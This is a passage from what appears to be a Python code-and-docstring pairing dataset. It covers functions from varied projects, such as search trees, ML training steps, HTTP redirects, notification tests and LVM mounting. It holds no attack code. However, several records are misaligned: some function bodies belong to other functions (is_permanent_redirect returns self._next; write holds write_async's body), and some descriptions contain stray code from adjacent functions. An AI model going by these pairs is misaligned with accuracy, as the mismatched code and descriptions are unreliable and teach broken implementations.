\"offer_delete\",\"error\": \"Incorrect delete offer request. Available parameters: (offer).\",\"transaction_id\": transaction_id})else:self.pending_requests.append(IncomingRequest(\"delete_offer\", arguments, delete_offer_response_channel))def _delete_offer_impl(self, arguments: Dict, response_channel: str) -> None:Implementation for the delete_offer callback, delete the received offer from market."} {"code": "def ceiling_item(self, key):\n node = self._root\n succ_node = None\n while node is not None:\n if key == node.key:\n return node.key, node.value\n elif key > node.key:\n node = node.right\n else:\n if (succ_node is None) or (node.key < succ_node.key):\n succ_node = node\n node = node.left\n if succ_node:\n return succ_node.key, succ_node.value\n raise KeyError(str(key))\n", "nl": "Get the element (k,v) pair associated with the smallest key greaterthan or equal to the given key, raises KeyError if there is no such key."} {"code": "def has_output(self):\n raise NotImplementedError\n\n @property", "nl": "Returns True if some choices would be output for this filter."} {"code": "def test_account_upload_avatar(self):\n self.register()\n url = '/project/noapp/update'\n res = self.app_get_json(url)\n data = json.loads(res.data)\n assert res.status == '404 NOT FOUND', res.status\n assert data['code'] == 404, data\n res = self.app_post_json(url, data=dict())\n assert res.status == '404 NOT FOUND', res.status\n data = json.loads(res.data)\n assert data['code'] == 404, data\n\n @with_context", "nl": "Test WEB Account upload avatar.import ioowner = UserFactory.create()url = '/account/%s/update?api_key=%s' % (owner.name,owner.api_key)avatar = (io.BytesIO(b'test'), 'test_file.jpg')payload = dict(btn='Upload', avatar=avatar,id=owner.id, x1=0, y1=0,x2=100, y2=100)res = self.app.post(url, follow_redirects=True,content_type=\"multipart/form-data\", data=payload)assert res.status_code == 200u = user_repo.get(owner.id)assert u.info['avatar'] is not Noneassert u.info['container'] is not Noneavatar_url = 'https://localhost/uploads/%s/%s' % (u.info['container'], u.info['avatar'])assert u.info['avatar_url'] == avatar_url, u.info['avatar_url']@with_contextdef test_05d_get_nonexistant_project_update_json(self):Test WEB JSON get non existant project update should return 404"} {"code": "def __init__(self, ground_truth_to_actions_mapping: Dict):\n self.mapping_dict = ground_truth_to_actions_mapping\n", "nl": ":param ground_truth_to_actions_mapping: Dictionary that maps index of ground truth acctions to thecorresponding indexes in the model action space"} {"code": "def cat(boxes_list: List[\"Boxes\"]) -> \"Boxes\":\n assert isinstance(boxes_list, (list, tuple))\n assert len(boxes_list) > 0\n assert all(isinstance(box, Boxes) for box in boxes_list)\n\n cat_boxes = type(boxes_list[0])(cat([b.tensor for b in boxes_list], dim=0))\n return cat_boxes\n\n @property", "nl": "Concatenates a list of Boxes into a single BoxesArguments:boxes_list (list[Boxes])Returns:Boxes: the concatenated Boxes"} {"code": "def repack_vb(self, f_f, f_p, b_f, b_p, w_f, target, mask, len_b):\n mlen, _ = len_b.max(0)\n mlen = mlen.squeeze()\n ocl = b_f.size(1)\n if self.if_cuda:\n f_f = autograd.Variable(f_f[:, 0:mlen[0]].transpose(0, 1)).cuda()\n f_p = autograd.Variable(f_p[:, 0:mlen[1]].transpose(0, 1)).cuda()\n b_f = autograd.Variable(b_f[:, -mlen[0]:].transpose(0, 1)).cuda()\n b_p = autograd.Variable((b_p[:, 0:mlen[1]] - ocl + mlen[0]).transpose(0, 1)).cuda()\n w_f = autograd.Variable(w_f[:, 0:mlen[1]].transpose(0, 1)).cuda()\n tg_v = autograd.Variable(target[:, 0:mlen[1]].transpose(0, 1)).unsqueeze(2).cuda()\n mask_v = autograd.Variable(mask[:, 0:mlen[1]].transpose(0, 1)).cuda()\n else:\n f_f = autograd.Variable(f_f[:, 0:mlen[0]].transpose(0, 1))\n f_p = autograd.Variable(f_p[:, 0:mlen[1]].transpose(0, 1))\n b_f = autograd.Variable(b_f[:, -mlen[0]:].transpose(0, 1))\n b_p = autograd.Variable((b_p[:, 0:mlen[1]] - ocl + mlen[0]).transpose(0, 1))\n w_f = autograd.Variable(w_f[:, 0:mlen[1]].transpose(0, 1))\n tg_v = autograd.Variable(target[:, 0:mlen[1]].transpose(0, 1)).unsqueeze(2)\n mask_v = autograd.Variable(mask[:, 0:mlen[1]].transpose(0, 1))\n return f_f, f_p, b_f, b_p, w_f, tg_v, mask_v\n", "nl": "packer for viterbi lossargs:f_f (Char_Seq_len, Batch_size) : forward_char input featuref_p (Word_Seq_len, Batch_size) : forward_char input positionb_f (Char_Seq_len, Batch_size) : backward_char input featureb_p (Word_Seq_len, Batch_size) : backward_char input positionw_f (Word_Seq_len, Batch_size) : input word featuretarget (Seq_len, Batch_size) : output targetmask (Word_Seq_len, Batch_size) : padding masklen_b (Batch_size, 2) : length of instances in one batchreturn:f_f (Char_Reduced_Seq_len, Batch_size), f_p (Word_Reduced_Seq_len, Batch_size), b_f (Char_Reduced_Seq_len, Batch_size), b_p (Word_Reduced_Seq_len, Batch_size), w_f (size Word_Seq_Len, Batch_size), target (Reduced_Seq_len, Batch_size), mask (Word_Reduced_Seq_len, Batch_size)"} {"code": "def lv_mount(vg_name, lv_name, mount_loc, create_filesystem=\"\"):\n error.context(\"Mounting the logical volume\",\n logging.debug)\n\n try:\n if create_filesystem:\n result = utils.run(\"mkfs.%s /dev/%s/%s\" % (create_filesystem,\n vg_name, lv_name))\n logging.debug(result.stdout.rstrip())\n result = utils.run(\"mount /dev/%s/%s %s\" % (vg_name, lv_name, mount_loc))\n except error.CmdError as ex:\n logging.warning(ex)\n return False\n return True\n\n\n@error.context_aware", "nl": "Mount a logical volume to a mount location.The create_filesystem can be one of ext2, ext3, ext4, vfat or emptyif the filesystem was already created and the mkfs process is skipped."} {"code": "def write_for_attnvis(self, article, abstract, decoded_words, attn_dists, p_gens):\n article_lst = article.split()\n decoded_lst = decoded_words\n to_write = {\n 'article_lst': [make_html_safe(t) for t in article_lst],\n 'decoded_lst': [make_html_safe(t) for t in decoded_lst],\n 'abstract_str': make_html_safe(abstract),\n 'attn_dists': attn_dists\n }\n if FLAGS.pointer_gen:\n to_write['p_gens'] = p_gens\n output_fname = os.path.join(self._decode_dir, 'attn_vis_data.json')\n with open(output_fname, 'w') as output_file:\n json.dump(to_write, output_file)\n tf.logging.info('Wrote visualization data to %s', output_fname)\n\n", "nl": "Write some data to json file, which can be read into the in-browser attention visualizer tool:https://github.com/abisee/attn_visArgs:article: The original article string.abstract: The human (correct) abstract string.attn_dists: List of arrays; the attention distributions.decoded_words: List of strings; the words of the generated summary.p_gens: List of scalars; the p_gen values. If not running in pointer-generator mode, list of None."} {"code": "def is_permanent_redirect(self):\n return self._next\n\n @property", "nl": "True if this Response one of the permanent versions of redirect.return ('location' in self.headers and self.status_code in (codes.moved_permanently, codes.permanent_redirect))@propertydef next(self):Returns a PreparedRequest for the next request in a redirect chain, if there is one."} {"code": "def write(self, psd_data_or_future, time_start, time_stop, samples):\n return self._executor.submit(self.write, psd_data_or_future, time_start, time_stop, samples)\n", "nl": "Write PSD of one frequency hopraise NotImplementedErrordef write_async(self, psd_data_or_future, time_start, time_stop, samples):Write PSD of one frequncy hop (asynchronously in another thread)"} {"code": "def response_and_validation(self, account_key, *args, **kwargs):\n return (self.response(account_key),\n self.validation(account_key, *args, **kwargs))\n\n\n@ChallengeResponse.register\nclass DNS01Response(KeyAuthorizationChallengeResponse):\n \"\"\"ACME dns-01 challenge response.\"\"\"", "nl": "Generate response and validation.Convenience function that return results of `response` and`validation`.:param JWK account_key::rtype: tuple"} {"code": "def _is_type_in_scope(self, name):\n for scope in reversed(self._scope_stack):", "nl": " Is *name* a typedef-name in the current scope?"} {"code": "def _test_query_assertions(self, query, queries):\n self.assertIsInstance(query, dict)\n self.assertIsInstance(query['queries'], list)\n for index, each_query in enumerate(query.get('queries'), start=0):\n self.assertEqual(each_query, queries[index])\n", "nl": "to assert the each query in the list against expected result"} {"code": "def train_step(self, sess, train_ops, global_step, _):\n start_time = time.time()\n if self.train_op_fn is None:\n self.train_op_fn = sess.make_callable([train_ops.train_op, global_step])\n self.meta_train_op_fn = sess.make_callable([train_ops.meta_train_op, global_step])\n self.collect_fn = sess.make_callable([train_ops.collect_experience_op, global_step])\n self.collect_and_train_fn = sess.make_callable(\n [train_ops.train_op, global_step, train_ops.collect_experience_op])\n self.collect_and_meta_train_fn = sess.make_callable(\n [train_ops.meta_train_op, global_step, train_ops.collect_experience_op])\n for _ in range(self.num_collect_per_update - 1):\n self.collect_fn()\n for _ in range(self.num_updates_per_observation - 1):\n self.train_op_fn()\n\n total_loss, global_step_val, _ = self.collect_and_train_fn()\n if (global_step_val // self.num_collect_per_meta_update !=\n self.last_global_step_val // self.num_collect_per_meta_update):\n self.meta_train_op_fn()\n\n time_elapsed = time.time() - start_time\n should_stop = False\n if self.max_number_of_steps:\n should_stop = global_step_val >= self.max_number_of_steps\n if global_step_val != self.last_global_step_val:\n if (self.save_policy_every_n_steps and\n global_step_val // self.save_policy_every_n_steps !=\n self.last_global_step_val // self.save_policy_every_n_steps):\n self.policy_save_fn(sess)\n\n if (self.log_every_n_steps and\n global_step_val % self.log_every_n_steps == 0):\n tf.logging.info(\n 'global step %d: loss = %.4f (%.3f sec/step) (%d steps/sec)',\n global_step_val, total_loss, time_elapsed, 1 / time_elapsed)\n\n self.last_global_step_val = global_step_val\n stop_early = bool(self.should_stop_early and self.should_stop_early())\n return total_loss, should_stop or stop_early\n\n", "nl": "This function will be called at each step of training.This represents one step of the DDPG algorithm and can include:1. collect a transition2. update the target network3. train the actor4. train the criticArgs:sess: A Tensorflow session.train_ops: A DdpgTrainOps tuple of train ops to run.global_step: The global step.Returns:A scalar total loss.A boolean should stop."} {"code": "def writeSomeData(self, data):\n acceptLength = min(self._freeSpace, len(data))\n if acceptLength:\n self._freeSpace -= acceptLength\n self._written.append(data[:acceptLength])\n return acceptLength\n\n\n\nclass FileDescriptorTests(SynchronousTestCase):\n \"\"\"", "nl": "Copy at most C{self._freeSpace} bytes from C{data} into C{self._written}.@return: A C{int} indicating how many bytes were copied from C{data}."} {"code": "def __init__(self, message=None, original_exception=None):\n self.original_exception = original_exception\n self.message = str(message)\n", "nl": "Initialize the ApiError.Args:message (str): The actual error message.original_exception (Exception): The exception that caused this one to be raised."} {"code": "def test_save_config_by_urls(self):\n\n key = 'test_save_config_by_urls'\n\n response = self.client.get('/add/{}'.format(key))\n assert response.status_code == 405\n\n response = self.client.post('/add/{}'.format(key))\n assert response.status_code == 400\n\n response = self.client.post(\n '/add/{}'.format(key), {'urls': ''})\n assert response.status_code == 400\n\n response = self.client.post(\n '/add/{}'.format(key), {'urls': 'mailto://user:pass@yahoo.ca'})\n assert response.status_code == 200\n\n response = self.client.post(\n '/add/{}'.format(key),\n {'config': 'invalid content', 'format': 'text'})\n assert response.status_code == 400\n\n with patch('apprise.AppriseConfig.add', return_value=False):\n response = self.client.post(\n '/add/{}'.format(key),\n {'config': 'garbage://', 'format': 'text'})\n assert response.status_code == 400\n\n with patch('os.remove', side_effect=OSError):\n response = self.client.post(\n '/add/{}'.format(key), {\n 'urls': 'mailto://user:newpass@gmail.com'})\n assert response.status_code == 500\n\n response = self.client.post(\n '/add/{}'.format(key), {'urls': 'slack://-/-/-'})\n assert response.status_code == 400\n\n response = self.client.post(\n '/add/{}'.format(key),\n data=json.dumps({'urls': 'mailto://user:pass@yahoo.ca'}),\n content_type='application/json',\n )\n assert response.status_code == 200\n\n response = self.client.post(\n '/add/{}'.format(key),\n data=json.dumps({}),\n content_type='application/json',\n )\n assert response.status_code == 400\n\n response = self.client.post(\n '/add/{}'.format(key),\n data='mailto://user:pass@yahoo.ca',\n content_type='application/xml',\n )\n assert response.status_code == 400\n\n response = self.client.post(\n '/add/{}'.format(key),\n data='{',\n content_type='application/json',\n )\n assert response.status_code == 400\n\n with patch('os.makedirs') as mock_mkdirs:\n mock_mkdirs.side_effect = OSError()\n response = self.client.post(\n '/add/{}'.format(key),\n data=json.dumps({'urls': 'mailto://user:pass@yahoo.ca'}),\n content_type='application/json',\n )\n\n assert response.status_code == 500\n\n with patch('gzip.open') as mock_open:\n mock_open.side_effect = OSError()\n response = self.client.post(\n '/add/{}'.format(key),\n data=json.dumps({'urls': 'mailto://user:pass@yahoo.ca'}),\n content_type='application/json',\n )\n\n assert response.status_code == 500\n", "nl": "Test adding an configuration by URLs"} {"code": "def get_dev_examples(self, data_dir):\n return self._create_examples(self._read_tsv(os.path.join(data_dir, \"test.tsv\")), \"test\")\n", "nl": "See base class.return self._create_examples(self._read_tsv(os.path.join(data_dir, \"dev.tsv\")), \"dev\")def get_test_examples(self, data_dir):See base class."} {"code": "def certificateDn(self):\n return self.__certificateDn\n\n @property", "nl": "Returns the certificate dn."} {"code": "def test_03_legacy_hash_workflow(self):\n\n result = self.do_encrypt(tonn('stub'))\n self.check_returned_native_str(result, \"hash\")\n\n self.check_verify('stub', tonn(result))\n\n self.check_verify(tonn('stub'), tonn(result))\n\n other = self.do_genhash('stub', tonn(result))\n self.check_returned_native_str(other, \"genhash\")\n if self.handler.is_disabled and self.disabled_contains_salt:\n self.assertNotEqual(other, result)\n else:\n self.assertEqual(other, result)\n\n other = self.do_genhash(tonn('stub'), tonn(result))\n self.check_returned_native_str(other, \"genhash\")\n if self.handler.is_disabled and self.disabled_contains_salt:\n self.assertNotEqual(other, result)\n else:\n self.assertEqual(other, result)\n\n self.assertTrue(self.do_identify(tonn(result)))\n", "nl": "test hash-string workflow with legacy .encrypt() & .genhash() methodsself.test_03_hash_workflow(use_16_legacy=True)def test_04_hash_types(self):test hashes can be unicode or bytes"} {"code": "def remove_framework_listener(self, listener):\n with self.__fw_lock:\n try:\n self.__fw_listeners.remove(listener)\n return True\n except ValueError:\n return False\n", "nl": "Unregisters a framework stop listener:param listener: The framework listener to unregister:return: True if the listener has been unregistered, else False"} {"code": "def test_mfcc(waveform):\n melspec = waveform.log_melspec()\n assert isinstance(melspec, np.ndarray)\n\n", "nl": "Test MFCCsmfcc = waveform.mfcc()assert isinstance(mfcc, np.ndarray)def test_log_melspec(waveform):Test Log Mel Spectrogram"} {"code": "def not_match_xpath(self, xpath, **kwargs):\n\n return self.not_match_selector(\"xpath\", xpath, **kwargs)\n", "nl": "Checks if the current node does not match the given XPath expression.Args:xpath (str | xpath.expression.Expression): The XPath expression to match against thecurrent node.**kwargs: Arbitrary keyword arguments for :class:`SelectorQuery`.Return:bool: Whether it doesn't match."} {"code": "def _check_dimension(self, x):\n\t\tif len(x) != self.dim:\n\t\t\traise ValueError(\"Expected vector of dimension {0}, get vector of dimension {1}\".format(self.dim, len(x)))\n", "nl": "Check if the number of variables is equal to the dimension of the copula."} {"code": "def main(args=None):\n if args is None:\n args = sys.argv[1:]\n rv = 0\n if args == ['-']:\n while True:\n filename = sys.stdin.readline()\n if not filename:\n break\n filename = filename.rstrip('\\n')\n try:\n compile(filename, doraise=True)\n except PyCompileError as error:\n rv = 1\n sys.stderr.write(\"%s\\n\" % error.msg)\n except OSError as error:\n rv = 1\n sys.stderr.write(\"%s\\n\" % error)\n else:\n for filename in args:\n try:\n compile(filename, doraise=True)\n except PyCompileError as error:\n rv = 1\n sys.stderr.write(\"%s\\n\" % error.msg)\n return rv\n\nif __name__ == \"__main__\":\n sys.exit(main())", "nl": "Compile several source files.The files named in 'args' (or on the command line, if 'args' isnot specified) are compiled and the resulting bytecode is cachedin the normal manner. This function does not search a directorystructure to locate source files; it only compiles files namedexplicitly. If '-' is the only parameter in args, the list offiles is taken from standard input."} {"code": "def getLibAVVersion():\n return \"%s.%s\" % (_LIBAV_MAJOR_VERSION, _LIBAV_MINOR_VERSION)\n\n", "nl": " Returns the version of LibAV that is currently being used"} {"code": "def calc_covariance(self):\n cov = np.cov(\n self.array_population,\n aweights=self.weights.ravel(),\n bias=False,\n rowvar=0)\n\n cov = utility.ensure_cov_psd(cov)\n if np.isnan(cov).any() or np.isinf(cov).any():\n raise ValueError(\n 'Sample covariances contains Inf or NaN!')\n return cov\n", "nl": "Calculate trace covariance matrix based on importance weights.Returns-------cov : :class:`numpy.ndarray`weighted covariances (NumPy > 1.10. required)"} {"code": "def visible(self):\n return self.normalize_wait(self.options[\"wait\"])\n", "nl": " str: The desired element visibility. if self.options[\"visible\"] is not None:if self.options[\"visible\"] is True:return \"visible\"elif self.options[\"visible\"] is False:return \"all\"else:return self.options[\"visible\"]else:if capybara.ignore_hidden_elements:return \"visible\"else:return \"all\"@propertydef wait(self): int | float: How long to wait for synchronization. "} {"code": "def __len__(self, include_UNK = False):\n return len(self.dic) - (0 if include_UNK else 1)\n\n", "nl": "Returns the length of this dictionary, by default omitting UNK"} {"code": "def iteritems(self):\n return [x[1] for x in self.items()]\n", "nl": "Iterate over all items.warnings.warn(\"'iteritems()' will be removed in version 3.0. Use\"\" 'iter(cache.items())' instead.\",DeprecationWarning,stacklevel=2,)return iter(self.items())def values(self):Return a list of all values."} {"code": "def testDisableLoggingCommandRuns(self):\n src_bucket_uri = self.CreateBucket()\n self.RunCommand(\n 'logging', ['set', 'on', '-b', 'gs://log_bucket',\n suri(src_bucket_uri)])\n", "nl": "Test that the 'logging set off' command basically runs.src_bucket_uri = self.CreateBucket()self.RunCommand('logging', ['set', 'off', suri(src_bucket_uri)])def testEnableLoggingCommandRuns(self):Test that the 'logging set on' command basically runs."} {"code": "def rebuild_proxies(self, prepared_request, proxies):\n proxies = proxies if proxies is not None else {}\n headers = prepared_request.headers\n url = prepared_request.url\n scheme = urlparse(url).scheme\n new_proxies = proxies.copy()\n no_proxy = proxies.get('no_proxy')\n\n bypass_proxy = should_bypass_proxies(url, no_proxy=no_proxy)\n if self.trust_env and not bypass_proxy:\n environ_proxies = get_environ_proxies(url, no_proxy=no_proxy)\n\n proxy = environ_proxies.get(scheme, environ_proxies.get('all'))\n\n if proxy:", "nl": "This method re-evaluates the proxy configuration by considering theenvironment variables. If we are redirected to a URL covered byNO_PROXY, we strip the proxy configuration. Otherwise, we set missingproxy keys for this URL (in case they were stripped by a previousredirect).This method also replaces the Proxy-Authorization header wherenecessary.:rtype: dict"} {"code": "def get_cloud_storage_file_path(bucket, path):\n try:\n data = json.loads(http_error.content.decode('utf-8'))\n return data['error']['message']\n except (ValueError, KeyError):\n logs.log_error('Failed to decode error content: %s' % http_error.content)\n\n return None\n\n\n@environment.local_noop", "nl": "Get the full GCS file path.return GS_PREFIX + '/' + bucket + '/' + pathdef _get_error_reason(http_error):Get error reason from googleapiclient.errors.HttpError."} {"code": "def calcCupListFromHistory( history):\n retval = [False] * NumCups\n trophyList = calcTrophyListFromHistory(history)\n numTrophiesWon = 0\n for gotTrophy in trophyList:\n if gotTrophy:\n numTrophiesWon += 1\n for cupIndex in xrange(len(retval)):\n threshold = (cupIndex + 1) * TrophiesPerCup\n if threshold <= numTrophiesWon:\n retval[cupIndex] = True\n return retval\n", "nl": "Return a list of booleans, with True meaning he has the cup.The first item (index 0)is for 10 trophies won. next is 20 trophies won.Last item is for 30 trophies won."} {"code": "def get_proxy_url(self, pgt):\n params = {'pgt': pgt, 'targetService': self.service_url}\n url = urllib_parse.urljoin(self.server_url, 'proxy')\n query = urllib_parse.urlencode(params)\n return ''.join([url, '?', query])\n", "nl": "Returns proxy url, given the proxy granting ticketReturns:str: Proxy URL"} {"code": "def gelu(x):\n return x * 0.5 * (1.0 + torch.erf(x / math.sqrt(2.0)))\n\n", "nl": "Implementation of the gelu activation function.For information: OpenAI GPT's gelu is slightly different (and gives slightly different results):0.5 * x * (1 + torch.tanh(math.sqrt(2 / math.pi) * (x + 0.044715 * torch.pow(x, 3))))"} {"code": "def getCurrChoice(self):\n return self.currChoice\n", "nl": "This method is called by the parent to get the current choice of ShuffleButton."} {"code": "def _get_cfg_nts(nonterminals_to_ids, rhs_nt_rules, parse_node, num_nts):\n lhs_nt = cfg_nts[0]\n rhs_nts = cfg_nts[1:]\n qcfg_idx_to_rhs_nt = {}\n for rhs_nt, qcfg_idx in zip(rhs_nts, qcfg_idxs):\n if qcfg_idx in qcfg_idx_to_rhs_nt:\n if qcfg_idx_to_rhs_nt[qcfg_idx] != rhs_nt:\n return None\n qcfg_idx_to_rhs_nt[qcfg_idx] = rhs_nt\n new_rhs_nts = list()\n for i in sorted(set(qcfg_idxs)):\n new_rhs_nts.append(qcfg_idx_to_rhs_nt[i])\n return tuple([lhs_nt] + new_rhs_nts)\n\n", "nl": "Return tuple of NTs corresponding to parse.ids_to_nonterminals = {v: k for k, v in nonterminals_to_ids.items()}lhs_nt = ids_to_nonterminals[parse_node.rule.lhs]node_stack = [parse_node]rhs_nts = [None] * num_ntswhile node_stack:node = node_stack.pop()if node.rule.idx in rhs_nt_rules:(nt_idx, target_nt) = rhs_nt_rules[node.rule.idx]# QCFG NT indexes are 1-indexed.rhs_nts[nt_idx - 1] = target_ntfor child in node.children:node_stack.append(child)for nt in rhs_nts:if not nt:raise ValueError(\"Bad rhs_nts: %s\" % rhs_nts)return tuple([lhs_nt] + rhs_nts)def _rearrange_nts(cfg_nts, qcfg_idxs):Rearrange cfg_nts to match qcfg_idxs."} {"code": "def main():\n global sensor\n global identified\n global finished\n\n upload_data_deadline = time.time()\n was_btn_pressed = is_button_pressed()\n upload_immediately = False\n\n print(\" +---------------------------------------+\")\n print(\" | End-to-End IoT Tank Monitoring Sample |\")\n print(\" +---------------------------------------+\\n\")\n\n try:\n sensor = HDC1080(I2C(1))\n except AssertionError:\n pass\n\n config_advertisement()\n\n relay.callback(relay_frame_callback)\n\n led_pin.off()\n\n wait_drm_connection()\n\n while True:\n time.sleep_ms(100)\n\n button_pressed = is_button_pressed()\n if not was_btn_pressed and button_pressed:\n toggle_valve()\n upload_immediately = True\n was_btn_pressed = button_pressed\n\n if identified:\n if finished:\n identified = False\n finished = False\n else:\n led_pin.value(not led_pin.value())\n\n request = cloud.device_request_receive()\n upload_immediately |= process_drm_request(request)\n\n if time.time() >= upload_data_deadline or upload_immediately:\n upload_sensor_data()\n upload_data_deadline = time.time() + DEFAULT_REPORT_INTERVAL\n upload_immediately = False\n\n\nif __name__ == '__main__':\n main()", "nl": "Main execution of the application."} {"code": "def cat(tensors: List[torch.Tensor], dim: int = 0):\n assert isinstance(tensors, (list, tuple))\n if len(tensors) == 1:\n return tensors[0]\n return torch.cat(tensors, dim)\n\n", "nl": "Efficient version of torch.cat that avoids a copy if there is only a single element in a list"} {"code": "def count(self):\n count = {}\n for path, churns in self.files.items():\n count[path] = sum(churns)\n\n return count\n", "nl": "Return the total number of code churns for each modified file.:return: int number of churns"} {"code": "def getstate(self):\n return 0\n", "nl": "Return the current state of the encoder."} {"code": "def targetNode(self, value):\n self.__options['target-node'] = value\n\n @property", "nl": "Args:value (int): id of the node"} {"code": "def test_get_credentials_password_arg_set(self):", "nl": " Prompt for just username when password cli flag is set. self.login_config = "} {"code": "def __getitem__(self, name):\n m = self.__methods.get(name)\n if m is None:\n qn = '.'.join((self.__qn, name))\n raise MethodNotFound(qn)\n return Method(self.__client, m)\n\n\nclass Method:\n \"\"\"\n", "nl": "Get a method by name and return it in an I{execution wrapper}.@param name: The name of a method.@type name: str@return: An I{execution wrapper} for the specified method name.@rtype: L{Method}"} {"code": "def _getmember(self, name, tarinfo=None, normalize=False):\n members = self.getmembers()\n\n if tarinfo is not None:\n members = members[:members.index(tarinfo)]\n\n if normalize:\n name = os.path.normpath(name)\n\n for member in reversed(members):\n if normalize:\n member_name = os.path.normpath(member.name)\n else:\n member_name = member.name\n\n if name == member_name:\n return member\n", "nl": "Find an archive member by name from bottom to top.If tarinfo is given, it is used as the starting point."} {"code": "def mobilenet_v2_0_5(**kwargs):\n return get_mobilenet_v2(0.5, **kwargs)\n\n", "nl": "rMobileNetV2 model from the`\"Inverted Residuals and Linear Bottlenecks:Mobile Networks for Classification, Detection and Segmentation\"`_ paper.Parameters----------pretrained : bool or strBoolean value controls whether to load the default pretrained weights for model.String value represents the hashtag for a certain version of pretrained weights.ctx : Context, default CPUThe context in which to load the pretrained weights."} {"code": "def destructure(self) -> DestructColumn:\n return DestructColumn(self._arg)\n\n\n@public\nclass DestructValue(Value):\n \"\"\"Class that represents a destruct value.\n", "nl": "Destructure `self` into a `DestructColumn`.When assigned, a destruct column will be destructured and assigned tomultiple columns.Returns-------DestructColumnA destruct column expression."} {"code": "def test_default_bytes_serialization():\n msg = DefaultMessage(\n dialogue_reference=(\"\", \"\"),\n message_id=1,\n target=0,\n performative=DefaultMessage.Performative.ERROR,\n error_code=DefaultMessage.ErrorCode.UNSUPPORTED_PROTOCOL,\n error_msg=\"An error\",\n error_data={\"error\": b\"Some error data\"},\n )\n msg_bytes = DefaultMessage.serializer.encode(msg)\n actual_msg = DefaultMessage.serializer.decode(msg_bytes)\n expected_msg = msg\n assert expected_msg == actual_msg\n\n", "nl": "Test that the serialization for the 'simple' protocol works for the BYTES message.expected_msg = DefaultMessage(dialogue_reference=(\"\", \"\"),message_id=1,target=0,performative=DefaultMessage.Performative.BYTES,content=b\"hello\",)msg_bytes = DefaultMessage.serializer.encode(expected_msg)actual_msg = DefaultMessage.serializer.decode(msg_bytes)assert expected_msg == actual_msgdef test_default_error_serialization():Test that the serialization for the 'simple' protocol works for the ERROR message."} {"code": "def std(self):\n return [tr.std() for tr in self]\n", "nl": "Calculate standard deviations of all Traces in the Stream.Standard deviations are calculated by NumPy method:meth:`~numpy.ndarray.std` on ``trace.data`` for every trace in thestream.:return: List of standard deviations of all traces... rubric:: Example>>> from obspy import Trace, Stream>>> tr1 = Trace(data=np.array([0, -3, 9, 6, 4]))>>> tr2 = Trace(data=np.array([0.3, -3.5, 9.0, 6.4, 4.3]))>>> st = Stream(traces=[tr1, tr2])>>> st.std()[4.2614551505325036, 4.4348618918744247]"} {"code": "def setStyle(self, **kwds):\n for kwd,value in kwds.items():\n if kwd not in self.style:\n raise NameError(\"%s is not a valid style argument.\" % kwd)\n\n if kwd in ('tickLength', 'tickTextOffset', 'tickTextWidth', 'tickTextHeight'):\n if not isinstance(value, int):\n raise ValueError(\"Argument '%s' must be int\" % kwd)\n\n if kwd == 'tickTextOffset':\n if self.orientation in ('left', 'right'):\n self.style['tickTextOffset'][0] = value\n else:\n self.style['tickTextOffset'][1] = value\n elif kwd == 'stopAxisAtTick':\n try:\n assert len(value) == 2 and isinstance(value[0], bool) and isinstance(value[1], bool)\n except:\n raise ValueError(\"Argument 'stopAxisAtTick' must have type (bool, bool)\")\n self.style[kwd] = value\n else:\n self.style[kwd] = value\n\n self.picture = None\n self._adjustSize()\n self.update()\n", "nl": "Set various style options.=================== =======================================================Keyword Arguments:tickLength (int) The maximum length of ticks in pixels.Positive values point toward the text; negativevalues point away.tickTextOffset (int) reserved spacing between text and axis in pxtickTextWidth (int) Horizontal space reserved for tick text in pxtickTextHeight (int) Vertical space reserved for tick text in pxautoExpandTextSpace (bool) Automatically expand text space if the tickstrings become too long.autoReduceTextSpace (bool) Automatically shrink the axis if necessarytickFont (QFont or None) Determines the font used for tickvalues. Use None for the default font.stopAxisAtTick (tuple: (bool min, bool max)) If True, the axisline is drawn only as far as the last tick.Otherwise, the line is drawn to the edge of theAxisItem boundary.textFillLimits (list of (tick #, % fill) tuples). This structuredetermines how the AxisItem decides how many ticksshould have text appear next to them. Each tuple inthe list specifies what fraction of the axis lengthmay be occupied by text, given the number of ticksthat already have text displayed. For example::[(0, 0.8), # Never fill more than 80% of the axis(2, 0.6), # If we already have 2 ticks with text,# fill no more than 60% of the axis(4, 0.4), # If we already have 4 ticks with text,# fill no more than 40% of the axis(6, 0.2)] # If we already have 6 ticks with text,# fill no more than 20% of the axisshowValues (bool) indicates whether text is displayed adjacentto ticks.tickAlpha (float or int or None) If None, pyqtgraph will draw theticks with the alpha it deems appropriate. Otherwise,the alpha will be fixed at the value passed. With int,accepted values are [0..255]. With vaule of typefloat, accepted values are from [0..1].=================== =======================================================Added in version 0.9.9"} {"code": "def template6():\n << host = chemml\n << function = load_cep_homo\n >> smiles 2\n\n << host = chemml\n << function = RDKitFingerprint\n << molfile = @molfile\n >> 0 molfile\n >> df 1\n\n << host = chemml\n << function = SaveFile\n << format = smi\n << header = False\n << filename = smiles\n >> filepath 0\n >> 2 df\n\n << host = chemml\n << function = SaveFile\n << filename = Fingerprints\n >> 1 df\n \"\"\"", "nl": "RDKitFingerprintscript = "} {"code": "def users_stories_gql(self, user_ids: List[int], amount: int = 0) -> List[UserShort]:\n assert isinstance(user_ids, list), \"user_ids should be a list of user_id\"\n self.inject_sessionid_to_public()\n", "nl": "Get a user's stories (Public API)Parameters----------user_ids: List[int]List of usersamount: intMax amount of storiesReturns-------List[UserShort]A list of objects of UserShort for each user_id"} {"code": "def dumps(obj, key = None, compress = False, extra_key = ''):\n pickled = pickle.dumps(obj)\n is_compressed = False\n if compress:\n import zlib\n compressed = zlib.compress(pickled)\n if len(compressed) < (len(pickled) - 1):\n pickled = compressed\n is_compressed = True\n base64d = encode(pickled).strip('=')\n if is_compressed:\n base64d = '.' + base64d\n return sign(base64d, (key or settings.SECRET_KEY) + extra_key)\n", "nl": "Returns URL-safe, sha1 signed base64 compressed pickle. If key isNone, settings.SECRET_KEY is used instead.If compress is True (not the default) checks if compressing using zlib cansave some space. Prepends a '.' to signify compression. This is includedin the signature, to protect against zip bombs.extra_key can be used to further salt the hash, in case you're worriedthat the NSA might try to brute-force your SHA-1 protected secret."} {"code": "def __init__(self, name, experiment, string=None):\n\n\t\tqtplugin.init_edit_widget(self)\n\t\tself.add_combobox_control(u'osc', _(u'Waveform'),\n\t\t\t[u'sine', u'saw', u'square', u'white_noise'])\n\t\tself.add_line_edit_control(u'freq',\n\t\t\t_(u'Frequency'),\n\t\t\tinfo=_(u'In Hertz or as note, e.g. \"A1\"'))\n\t\tself.add_spinbox_control(u'attack', _(u'Attack'),\n\t\t\tmin_val=0, max_val=10000000, suffix=_(u' ms'))\n\t\tself.add_spinbox_control(u'decay', _(u'Decay'),\n\t\t\tmin_val=0, max_val=10000000, suffix=_(u' 